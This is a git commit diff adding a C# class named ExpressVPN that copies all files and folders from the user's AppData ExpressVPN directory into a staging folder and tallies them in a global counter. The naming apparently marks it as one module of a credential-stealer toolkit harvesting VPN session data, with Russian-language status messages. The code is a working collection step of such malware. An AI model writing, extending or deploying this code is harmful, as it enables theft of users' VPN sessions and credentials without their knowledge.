initial commit
This commit is contained in:
@@ -0,0 +1,38 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace SHARP
|
||||
{
|
||||
internal class ExpressVPN
|
||||
{
|
||||
public static void SaveFileSession(string head)
|
||||
{
|
||||
string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\ExpressVPN";
|
||||
string str1 = head + "\\VPN\\ExpressVPN";
|
||||
if (!Directory.Exists(path))
|
||||
{
|
||||
Console.WriteLine("Исходная директория не существует.");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!Directory.Exists(str1))
|
||||
Directory.CreateDirectory(str1);
|
||||
foreach (string file in Directory.GetFiles(path))
|
||||
{
|
||||
string fileName = Path.GetFileName(file);
|
||||
File.Copy(file, Path.Combine(str1, fileName), true);
|
||||
Console.WriteLine($"Файл {fileName} скопирован успешно.");
|
||||
++Counting.express;
|
||||
}
|
||||
foreach (string directory in Directory.GetDirectories(path))
|
||||
{
|
||||
string fileName = Path.GetFileName(directory);
|
||||
string str2 = Path.Combine(str1, fileName);
|
||||
Directory.CreateDirectory(str2);
|
||||
Filemanager.CopyDirectory(directory, str2);
|
||||
++Counting.express;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user